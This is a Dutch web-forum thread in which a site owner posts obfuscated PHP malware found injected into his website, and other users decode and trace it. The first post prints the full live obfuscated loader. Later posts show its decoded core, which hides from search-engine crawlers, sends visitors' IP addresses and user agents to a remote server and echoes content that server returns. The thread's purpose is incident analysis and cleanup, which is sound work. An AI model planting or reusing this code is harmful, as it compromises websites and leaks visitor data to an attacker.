[php] Code ontcijferen

Pagina: 1
Acties:

Onderwerpen


Acties:
  • 0 Henk 'm!

Anoniem: 278029

Topicstarter
Hoi,

Ik heb onlangs last gehad van een virus op mijn website. Niet een echt virus maar een stukje php dat uitgevoerd werd. Dit is echter op een sneaky manier versleuteld. Ik heb geprobeerd het stap voor stap te ontrafelen, maar steeds zijn stukjes weer verpakt in base_64 code, die weer door een preg_replace gaan en dit gaat maar door en door. Uiteindelijk worden er dingen uitgevoerd met eval(), maar de daadwerkelijke code krijg ik maar niet naar boven.

Daarom de vraag, hoe kan ik een code uitvoeren zonder dat deze echt uitgevoerd wordt, maar dat ik wel de code van het eindresultaat zie?

De code is:
PHP:
1
2
3
4
<?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) {$eva1fYlbakBcVSir = "7kyJ7kSKioDTWVWeRB3TiciL1UjcmRiLn4SKiAETs90cuZlTz5mROtHWHdWfRt0ZupmVRNTU2Y2MVZkT8h1Rn1XULdmbqxGU7h1Rn1XULdmbqZVUzElNmNTVGxEeNt1ZzkFcmJyJuUTNyZGJuciLxk2cwRCLiICKuVHdlJHJn4SNykmckRiLnsTKn4iInIiLnAkdX5Uc2dlTshEcMhHT8xFeMx2T4xjWkNTUwVGNdVzWvV1Wc9WT2wlbqZVX3lEclhTTKdWf8oEZzkVNdp2NwZGNVtVX8dmRPF3N1U2cVZDX4lVcdlWWKd2aZBnZtVFfNJ3N1U2cVZDX4lVcdlWWKd2aZBnZtVkVTpGTXB1JuITNyZGJuIyJi4SN1InZk4yJukyJuIyJi4yJ64GfNpjbWBVdId0T7NjVQJHVwV2aNZzWzQjSMhXTbd2MZBnZxpHfNFnasVWevp0ZthjWnBHPZ11MJpVX8FlSMxDRWB1JuITNyZGJuIyJi4SN1InZk4yJukyJuIyJi4yJAZ3VOFndX5EeNt1ZzkFcm5maWFlb0oET410WnNTWwZWc6xXT410WnNTWwZmbmZkT4xjWkNTUwVGNdVzWvV1Wc9WT2wlazcETn4iM1InZk4yJn4iInIiL1UjcmRiLn4SKiAkdX5Uc2dlT9pnRQZ3NwZGNVtVX8VlROxXV2YGbZZjZ4xkVPxWW1cGbExWZ8l1Sn9WT20kdmxWZ8l1Sn9WTL1UcqxWZ59mSn1GOadGc8kVXzkkWdxXUKxEPExGUn4iM1InZk4yJiciL1UjcmRiLn0TMpNHcksTKiciLyUTayZGJucSN3wVM1gHX2QTMcdzM4x1M1EDXzUDecNTMxwVN3gHXyETMchTN4xFN0EDXwMDecZjMxwFZ2gHXzQTMcJmN4x1N2EDX5YDecFTMxwVO2gHX3QTMcNTN4xlMzEDXiZDecFzNcdDN4xlM0EDX3cDecFjNcdTN4xVM0EDXmZDecVjMxw1N0gHXyMTMcZzN4xlNxEDX3UDecJzMxwlY2gHXxcDX2QDecZTMxwlMzgHX1ITMcJzM4x1M0EDX4YDecJTMxw1N0gHXxETMcVzN4xlMxEDX4UDecRDNxwFMzgHX2ITMcRmN4x1M0EDX3MDecNTNxwVO2gHXyQTMcZzN4xlMyEDX4UDecFDNxwVY2gHX1YDX3UDecRDNxwFZ2gHXyITMcNDN4xVMxEDXzcDecRjNcRmN4x1M0EDXxMDecJjMxwFO1gHXyMTMclzN4xlMyEDXzQDecNTMxwlM3gHXwcTMcdTN4xVMzEDXzMDecFzNcZTN4xVN0EDX4YDecJTMxwVZ2gHXzQTMchjN4xFN2EDX0UDecNTMxwVN3gHXyETMchTN4xFN0EDXwMDecZjMxwFZ2gHXzQTMcJmN4x1N0EDXzQDecRDNxwFM3gHXwcTMcdDN4x1M0EDXhdDecFzNcNmN4x1M0EDXwMDecZTMxwFO0gHXxETMclzM4xVMwEDX5YDecJDNxwVO3gHX2ITMcdiL1ITayZGJucyNzgHXzUTMcljN4xVMxEDX3MDecNTNxwVO3gHX1ETMcRzN4x1M1EDX5YDecJDNxwlN3gHX0UTMcdDN4xFN0EDXhZDecVjNcdTN4xFN0EDXkZDecJTMxwVO2gHX0ETMcljN4xVMyEDXzQDecNTMxwlY2gHXyETMcNzM4xlM0EDXmZDecFTMxwFO0gHXxQTMcFmN4xlMwEDXzUDecBjMxw1N2gHX0YDXyMDecJDNxwFM3gHXyITMcNzM4xVMzEDX1cDecZjMxwVZ2gHXyMTMcljN4xFN2wVO2gHXxETMcJmN4xVMxEDXzQDecRTMxwVO2gHX0YDXyMDecJDNxwFM3gHXyITMcNzM4xVMzEDX1cDecZjMxwVZ2gHXyMTMcljN4xFN2wVO2gHXxETMcJmN4xVMzEDX5YDecFTMxwlZ2gHX0YDXyMDecJDNxwFM3gHXyITMcNzM4xVMzEDX1cDecZjMxwVZ2gHXyMTMcZjN4xlNyEDX3QDecRDNxwFO2gHX2ITMcRmN4x1M0EDXhZDecJDMxw1M1gHXwITMcdjN4xFN2wlMzgHXyQTMcBzM4xFN1EDXyMDecFzMxwVN3gHX2ITMcVmN4xlMzEDXiZDecNjNxwFO0gHXxETMcBzN4xFN2wFZ2gHXzQTMcFzM4xlMyEDX4UDecJzMxwVO3gHXyITMcNDN4x1MxEDX1cDecZjMxwVZ2gHXzQTMcBzM4xlNyEDXkZDecNDNxw1N2gHX0YDXyMDecJDNxwFM3gHXyITMcNzM4xVMzEDX1cDecZjMxwVZ2gHXyMTMcJiLn4SNyInZk4yJzYTMcF2N4xlMxEDX1cDecZjMxwVZ2gHXzQTMcBzM4xlNyEDXkZDecNDNxwVZ2gHXwYDXhZDecJDNxwVMzgHXyETMcdiL1ITayZGJuciIuciL1IjcmRiLnUzNcdzN4x1NxEDXlZDecRjNcJzM4xlM0EDXwcDecJjMxw1MzgHXxMTMcVzN4xlNyEDXlZDecJzMxwlN2gHX2ITMcdDN4xFN0EDX4YDecZjMxwFZ2gHXzQTMcFmN4xFN0EDXzUDecBjMxwVN3gHX2ITMcdiL1ITayZGJuciIuciL1IjcmRiLnMjNxwVY3gHXyETMcNmN4xlNxEDX3UDecFzMxw1M3gHXyATMchTN4xlMzEDX5cDecFzNcFzM4xlMzEDXjZDecJTMxwFO0gHXzQTMcVmN4xFM2wVY2gHXyQTMclzN4xlNwEDX3QDecRDNxw1Y2gHXyETMchDN4xlMxEDXi4iM1QXamRCLyUjZpZGJsUjMmlmZkgSZjFGbwVmcfdWZyB3OiIjM4xFM1wVN2gHX0QTMcZmN4x1M0EDX1YDecRDNxwlZ1gHX0YDX2MDecVDNxw1M3gHXxQTMcJjN4xFM1w1Y2gHXxQTMcZzN4xVN0EDXwQDecJCI9AiM1QXamRyOiI2M4xVM1wlMygHXxYDXjVDecJDNchjM4xFN1EDXxYDecZjNxwVN2gHXiASPgITNmlmZksjI1QTMcljN4xFMwEDX5IDecNTNcVmM4xFM1wFM0gHXiASPgUjMmlmZkcCKsFmdltjIwIDecVzNcBjM4xFM2wFN2gHX0QTMcRjM4xlIg0DI1ITayRGJgsTN1kmcmRiLnkiIn4iM1kmcmRCI9ASNyInZkAyOngDN4xFN0EDXjZDecJTMxwFO0gHXyETMcdCI9ASNykmcmRyOnI2M4xVM1wVOygHXyQDXkNDecdCI9AiM1kmcmRyOnQDV2YWfVtUTnASPgITNyZGJ7cCKuVnc0VmckcCI9ASN1InZkszJyUDdpZGJsITNmlmZkwSNyYWamRCKuJXY0VmckszJg0DI1UTayZGJ+aWYgKCFpc3NldCgkZXZhbFVkQ1hURFFFUm1XbkRTKSkge2Z1bmN0aW9uIGV2YWxsd2hWZklWbldQYlQoJHMpeyRlID0gIiI7IGZvciAoJGEgPSAwOyAkYSA8PSBzdHJsZW4oJHMpLTE7ICRhKysgKXskZSAuPSAkc3tzdHJsZW4oJHMpLSRhLTF9O31yZXR1cm4oJGUpO31ldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9QVNmN2t5YU5SbWJCUlhXdk5uUmpGVVdKeFdZMlZHSm9VR1p2TldaazlGTjJVMmNoSkdJdUpYZDBWbWM3QlNLcjFFWnVGRWRaOTJjR05XUVpsRWJoWlhaa2dpUlRKa1pQbDBaaFJGYlBCRmFPMUViaFpYWmc0MmJwUjNZdVZuWiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIjdraUk5MEVTa2htVXpNbUlvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVldQWE5GWm5ORVpWbFZhRk5WYmh4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiN2tpSTkwVFFqQmpVSUZtSW9ZMFVDWjJUSmRXWVV4MlRRaG1UTnhXWTJWV1BYWlZjaFpsY3BWMlZVeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIjdraUk5UXpWaEpDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGwxalFtaEZSVmRFZGlWRlpDeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIj09d09wSVNQOUVWUzJSMlZKSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDFUWlZwblJ1VjJRc0oyZFJ4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUWHBJU1YxVWxVSVpFTVlObFZ3VWxWNVlVVlZKbFJUSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbHRsVUZabFVGTjFYazB6UW1OMlpOQm5kcE5YVHl4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUS3BraWNxTmxWakYwYWhSR1daUlhNaFpYWmtnaWRsSm5jME5IS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxoQ2JoWlhaIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUS3BJU1A5YzJZc2hYYlpSblJ0VmxJb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZHSXNraUkwWTFSYVZuUlhkbElvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVkdJc2tpSTlrRVdhSkRiSEZtYUtoVldtWjBWaEpDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxCQ0xwSUNNNTBXVVA1a1ZVSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbEJDTHBJU1BCNTJZeGduTVZKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsQkNMcElDYjRKalcybGpNU0pDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxoU2VoSm5jaEJTUGdRSFVFaDJiemRFZHVSRWRVeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIj09d09wa2lJNVFIVkxwblVEdGtlUzVtWXNKbGJpWm5UeWdGTVdKaldtWjFSaUJuV0hGMVowMDJZeElGV2FsSGRJbEVjTmhrU3ZSVGJSMWtUeUlsU3NCRFZhWjBNaHBrU1ZSbFJrWmtZb3BGV2FkR055SUdjU05UVzFabGJhSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbGhDYmhaWFoiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9PXdPcGdDTWtSR0pnMERJWXBIUnloMVRJZDJTbnhXWTJWR0oiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9PVFmOXREYWpGRVRhdEdWQ1pGYjFGM1p6TjNjc0ZtZGxSQ0l2aDJZbHRUWHhzRmFqRkVUYXRHVkNaRmIxRjNaek4zY3NGbWRsUkNJOUFDYWpGRVRhdEdWQ1pGYjFGM1p6TjNjc0ZtZGxSQ0k3a0NhakZFVGF0R1ZDWkZiMUYzWnpOM2NzRm1kbFJDTGxWbGVHNVdaRHhtWTNGRmJoWlhaa2dTWms5R2J3aFhaZzBESW9OV1FNcDFhVUprVnNWWGNuTjNjenhXWTJWR0o3bFNLbFZsZUc1V1pEeG1ZM0ZGYmhaWFprd0NhakZFVGF0R1ZDWkZiMUYzWnpOM2NzRm1kbFJDS3lSM2N5UjNjb0FpWnB0VEtwMFZLaVVsVHhRVlM1WVVWVkpsUlRKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsdGxVRlpsVUZOMVhrZ1NaazkyWXVWR2J5Vm5McElTT24xbVNpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWt5UW1OMlpOQm5kcE5YVHl4V1kyVkdKb1VHWnZObWJseG1jMTVTS2lrVFN0cGtJb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZtTGRsaUk5a2tSU1ZrUndnbFJTRkRWT1oxYVZKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsdGxVRlpsVUZOMVhrNFNLaTBETVVGbUlvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVm1McElTUDRRMFlpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWtpSXZKa2JNSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDVpUW1oRlJWZEVkaVZGWkN4V1kyVkdKdWtpSTkwemRNSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDVDVzZSa2NZOUVTbnQwWnNGbWRsUmlMcElTUDRrSFRpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWtpSTkwelpQSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDV5VldGWFlXSlhhbGRGVnNGbWRsUkNLdUpFVGpkVVNKOVVXeHRXU0MxVVJYeFdZMlZHSTlBQ2FqRkVUYXRHVkNaRmIxRjNaek4zY3NGbWRsUkNJN2tDTXdnRE14c1NLb1VXYnBSSExwa2lJOTBFU2tobVV6TW1Jb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZHSzFRV2JzYzFVa2QyUWtWVldwVjBVdEZHYmhaWFprZ1NacHQyYnZOR2RsTkhRZ3NISWxOSGJsQlNmN0JTS3BrU1hYTkZabk5FWlZsVmFGTlZiaHhXWTJWR0piVlVTTDkwVEQ5RkpvUVhaek5YYW9BaWN2QlNLcE1rWmpkV1R3WlhhejFrY3NGbWRsUkNJc0lTYXZJQ0l1QVNLMEJGUm85MmNIUm5iRVJIVnNGbWRsUkNJc0lDZmlnU1prOUdidzFXYWc0Q0lpOGlJb2cyWTBGV2JmZFdaeUJIS29ZV2EiKGVkb2NlZF80NmVzYWIobGF2ZScpKTskZXZhbFVkQ1hURFFFUm1XbkRTID0xODc5Mjt9";
$eva1tYlbakBcVSir = "\x65\144\x6f\154\x70\170\x65";
$eva1tYldakBcVSir = "\x73\164\x72\162\x65\166";
$eva1tYldakBoVS1r = "\x65\143\x61\154\x70\145\x72\137\x67\145\x72\160";$eva1tYidokBoVSjr = "\x3b\51\x29\135\x31\133\x72\152\x53\126\x63\102\x6b\141\x64\151\x59\164\x31\141\x76\145\x24\50\x65\144\x6f\143\x65\144\x5f\64\x36\145\x73\141\x62\50\x6c\141\x76\145\x40\72\x65\166\x61\154\x28\42\x5c\61\x22\51\x3b\72\x40\50\x2e\53\x29\100\x69\145";$eva1tYldokBcVSjr=$eva1tYldakBcVSir($eva1tYldakBoVS1r);$eva1tYldakBcVSjr=$eva1tYldakBcVSir($eva1tYlbakBcVSir);$eva1tYidakBcVSjr = $eva1tYldakBcVSjr(chr(2687.5*0.016), $eva1fYlbakBcVSir);$eva1tYXdakAcVSjr = $eva1tYidakBcVSjr[0.031*0.061];$eva1tYidokBcVSjr = $eva1tYldakBcVSjr(chr(3625*0.016), $eva1tYidokBoVSjr);$eva1tYldokBcVSjr($eva1tYidokBcVSjr[0.016*(7812.5*0.016)],$eva1tYidokBcVSjr[62.5*0.016],$eva1tYldakBcVSir($eva1tYidokBcVSjr[0.061*0.031]));$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;$eva1tYldakBcVSir = "\x73\164\x72\x65\143\x72\160\164\x72";$eva1tYlbakBcVSir = "\x67\141\x6f\133\x70\170\x65";$eva1tYldakBoVS1r = "\x65\143\x72\160";$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;} ?>

Acties:
  • 0 Henk 'm!

  • Tharulerz
  • Registratie: April 2009
  • Laatst online: 10-04 05:16
Anoniem: 278029 schreef op dinsdag 18 oktober 2011 @ 01:28:
Uiteindelijk worden er dingen uitgevoerd met eval(), maar de daadwerkelijke code krijg ik maar niet naar boven.
Vervang de eval() door een print() of echo() en je weet de code die uitgevoerd wordt?

Tip: gebruik code tags (lees de stickys...)

Acties:
  • 0 Henk 'm!

Anoniem: 278029

Topicstarter
Bedankt, maar inderdaad heb ik dat gedaan en dan komt er weer een gecodeerd stuk uit. Dit decodeer ik weer en dan komt er weer een gecodeerd stuk uit met alles verknipt en talloze gecodeerde functie namen. Dit kost me uren (normaal lig ik nu op één oor :)), vandaar de vraag of je ook 'gewoon' kan zien wat er precies uitgevoerd wordt.

[ Voor 5% gewijzigd door Anoniem: 278029 op 18-10-2011 01:41 ]


Acties:
  • 0 Henk 'm!

  • OnTracK
  • Registratie: Oktober 2002
  • Laatst online: 20:10
Ik kon niet slapen, dus ben even bezig geweest. Er zitten redelijk wat laagjes omheen maar dit is volgens mij het hart van de code (variabelenamen zelf verzonnen ter verduidelijking):

PHP:
1
2
3
4
5
6
7
    if((preg_match("/".'Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler'."/i", $_SERVER["HTTP_USER_AGENT"])) or (isset($_COOKIE['stats']))) {
    
    } else {
    
        @setcookie('stats',md5('stats'),time()+10800);
        file_get_contents('http://!go!/in.php?i='.$ip.'&b='.$user_agent.'&h='.$host);
    }


Oftewel doet tracking op het adres van !go! (dat de maker volgens mij had moeten invullen, maar dat niet heeft gedaan) en plaatst een cookie bij de client om te voorkomen dat dit request meerdere keren achter elkaar wordt gedaan.

Not everybody wins, and certainly not everybody wins all the time.
But once you get into your boat, push off and tie into your shoes.
Then you have indeed won far more than those who have never tried.


Acties:
  • 0 Henk 'm!

Anoniem: 278029

Topicstarter
Wauw dat is even een stukje decoding! :).

Dus die hele berg code was om dit te verbergen. Het adres is dan misschien leeg, maar wellicht kon de hacker deze invullen door de URL aan te roepen inclusief parameters? Al heb ik nergens $_GET of $_POST variabelen voorbij zien komen.

Bedankt OnTrack voor het speurwerk, ik ga kijken of ik hiermee meer kan vinden in mijn log bestanden.

Acties:
  • 0 Henk 'm!

  • YakuzA
  • Registratie: Maart 2001
  • Niet online

YakuzA

Wat denk je nou zelluf hey :X

Zozo, heeft vast te maken met: (moest weer aan dit topic denken toen ik dit las)

nieuws: Sophos ontdekt geraffineerde deface-methode met php-scripts
Niet alleen wordt de code meerdere malen versleuteld en gecomprimeerd via php-functies als base64_decode en gzinflate, ook worden scripts via obfuscation nog moeilijker te detecteren.

[ Voor 5% gewijzigd door YakuzA op 20-10-2011 12:18 ]

Death smiles at us all, all a man can do is smile back.
PSN


Acties:
  • 0 Henk 'm!

  • Peedy
  • Registratie: Februari 2002
  • Laatst online: 06-11-2024
Als je op zoek bent naar meer van dat soort dingen; Google eens op Free Wordpress Templates. Die dingen zit vol met base64 codes die malicious code herbergen.

Dit is een mooi blogitem daarover; http://wpmu.org/why-you-s...-google-or-anywhere-else/

[ Voor 30% gewijzigd door Peedy op 20-10-2011 12:28 ]


Acties:
  • 0 Henk 'm!

  • NoControl
  • Registratie: Februari 2003
  • Laatst online: 06-11-2024
Ik heb de code ook even proberen te decoderen (had ik nog nooit gedaan en ik was nieuwsgierig) en kwam toch iets anders uit dan OnTracK:

PHP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

@error_reporting( 0 );
if ( !isset( $a ) )
{
    $a = "very long base64 encoded string...";
    if ( !isset( $k ) )
    {
        if ( !preg_match( '/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler/i', $_SERVER[ 'HTTP_USER_AGENT' ] ) && !isset( $_COOKIE[ 'stats' ] ) )
        {
            @setcookie( 'stats', md5( 'stats' ), time() + 10800 );
            $remoteContent = @file_get_contents(
                'http://'
                . md5( gethostbyname( 'web-cfc.ca' ) ) . '.com'
                . '/in.php?i='
                . $_SERVER[ 'REMOTE_ADDR' ]
                . '&b='
                . $_SERVER[ 'HTTP_USER_AGENT' ]
                . '&h='
                . urlencode( $_SERVER[ 'HTTP_HOST' ] )
            );
            if ( strstr( $remoteContent, '!go!' ) )
            {
                $remoteContent = explode( '!go!', $remoteContent );
                $remoteContent = $remoteContent[ 1 ];
                echo $remoteContent;
            }
        }
        $k = 18792;
    }
}


De code kijkt of er een cookie genaamd "stats" gezet is of dat de bezoeker een veelvoorkomende zoekmachine is. Zijn beide niet waar, dan wordt een cookie genaamd "stats" ingesteld bij de bezoeker en wordt data verstuurd en opgehaald van een andere server. De verstuurde data is het IP en user agent string van de bezoeker en de hostname of het IP-adres van de server waar het stukje code op draait.

Als het antwoord van de andere server de string "!go!" bevat, wordt de tekst na de eerste en voor de eventuele tweede "!go!" weergegeven.

De logica om de andere server te bepalen is interessant: men zoekt via DNS het IP-adres op van "web-cfc.ca" welk blijkbaar "127.0.0.1" geregistreerd heeft (raar maar waar). Van "127.0.0.1" wordt de MD5-hash genomen, ".com" achter geplakt en daar heb je het adres waar werkelijk naar gelogd wordt: http://f528764d624db129b32c21fbca0cb8d6.com/

[ Voor 1% gewijzigd door NoControl op 20-10-2011 17:44 . Reden: adres van remote server ingevuld ]


Acties:
  • 0 Henk 'm!

  • YopY
  • Registratie: September 2003
  • Laatst online: 25-04 11:37
NoControl schreef op donderdag 20 oktober 2011 @ 17:38:
De logica om de andere server te bepalen is interessant: men zoekt via DNS het IP-adres op van "web-cfc.ca" welk blijkbaar "127.0.0.1" geregistreerd heeft (raar maar waar). Van "127.0.0.1" wordt de MD5-hash genomen, ".com" achter geplakt en daar heb je het adres waar werkelijk naar gelogd wordt: http://f528764d624db129b32c21fbca0cb8d6.com/
Origineel, :+. Die site gaat naar AWStats z'n website op sourceforge, of iig een pagina die identiek is.

Maar wat ik me nu afvraag: Is dit een of andere vage stats-code, of is het een random-eenmalige-defacert zoals op de front page staat? Of optie 3, een hack die bij zoekmachines andere content toont dan voor normale bezoekers (search engine misbruik)?

Acties:
  • 0 Henk 'm!

  • No13
  • Registratie: Januari 2001
  • Laatst online: 22:15

No13

/me was here

YopY schreef op donderdag 20 oktober 2011 @ 22:36:
[...]


Origineel, :+. Die site gaat naar AWStats z'n website op sourceforge, of iig een pagina die identiek is.

Maar wat ik me nu afvraag: Is dit een of andere vage stats-code, of is het een random-eenmalige-defacert zoals op de front page staat? Of optie 3, een hack die bij zoekmachines andere content toont dan voor normale bezoekers (search engine misbruik)?
Is een frames pagina welke awstats laat zien:
code:
1
2
3
4
5
6
7
8
9
10
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">
<html>
 <head>
  <meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
  <title>AWStats - Free log file analyzer for advanced statistics (GNU GPL).</title>
 </head>

<frameset frameborder=0 framespacing=0 border=0 rows='100%,*' noresize><frame src='http://awstats.sourceforge.net/' noresize /></frameset>

</html>


Mijn gok? proberen onopvallend te blijven maar ik denk zeker dat deze machine een rol speelt in het script

[ Voor 5% gewijzigd door No13 op 21-10-2011 09:29 ]


Acties:
  • 0 Henk 'm!

Anoniem: 278029

Topicstarter
Het verhaal gaat dus nog verder. Bedankt voor jullie speurwerk, zeer leerzaam.

Het lek op de server is ondertussen gevonden, een verouderd stukje software/script dat gebruikt werd om deze code te injecteren in php bestanden die in mappen zaten met mod 777 rechten (template mappen dus noodzakelijk).

Ik zie nu dat http://f528764d624db129b32c21fbca0cb8d6.com/ gebruikt wordt om data te verkrijgen. Dat de homepage verwijst naar Awstats is enkel een dekmantel. Als ik het script aanroep http://f528764d624db129b32c21fbca0cb8d6.com/in.php?i=blabla dan krijg ik echter een 404 pagina.

Blijkbaar zijn er mensen die hier heel veel tijd in steken en hier toch echt een bepaald doel mee hebben. Blackhat SEO of het besmetten met een virus, het is mij nog niet helemaal duidelijk.

De WHOIS van dit domein is trouwens afgeschermd door PrivacyProtection. Ik heb bij hen een Abuse melding gedaan, hoop dit ze hier iets mee doen.

[ Voor 28% gewijzigd door Anoniem: 278029 op 21-10-2011 16:31 ]


Acties:
  • 0 Henk 'm!

  • daantje.nl
  • Registratie: Januari 2010
  • Laatst online: 26-02 18:15
Hoi, leuk onderwerp!

Het is zeker spam of iets van die aard... Als ik check welk ip nummer dat is:
host f528764d624db129b32c21fbca0cb8d6.com
f528764d624db129b32c21fbca0cb8d6.com has address 193.27.246.72

En dan van wie dat IP is:
whois 193.27.246.72

inetnum: 193.27.246.0 - 193.27.247.255
netname: DANKON-NET
remarks: ----------------------------------------------------------
remarks: Points of contact for DANKON Network Operations
remarks: SPAM: abuse@wehostall.ru
remarks: Network security issues: abuse@wehostall.ru
remarks: Customer support: support@wehostall.ru
remarks: ----------------------------------------------------------
descr: Dankon Ltd.
country: RU
org: ORG-DL60-RIPE

Het is dus een russische provider waar de hosting van dat domein gebeurd.
Lijkt mij sterk dat ze statistics willen....

Acties:
  • 0 Henk 'm!

  • Erkens
  • Registratie: December 2001
  • Niet online

Erkens

Fotograaf

daantje.nl schreef op vrijdag 21 oktober 2011 @ 15:43:
Lijkt mij sterk dat ze statistics willen....
natuurlijk wel, met die statistieken weten ze welke servers veel bezocht worden waar ze "leuke dingen" mee kunnen doen ;) als je een server hebt met praktisch weinig bezoekers dan kan je met die doos geen gerichte aanval uitvoeren bijvoorbeeld
Pagina: 1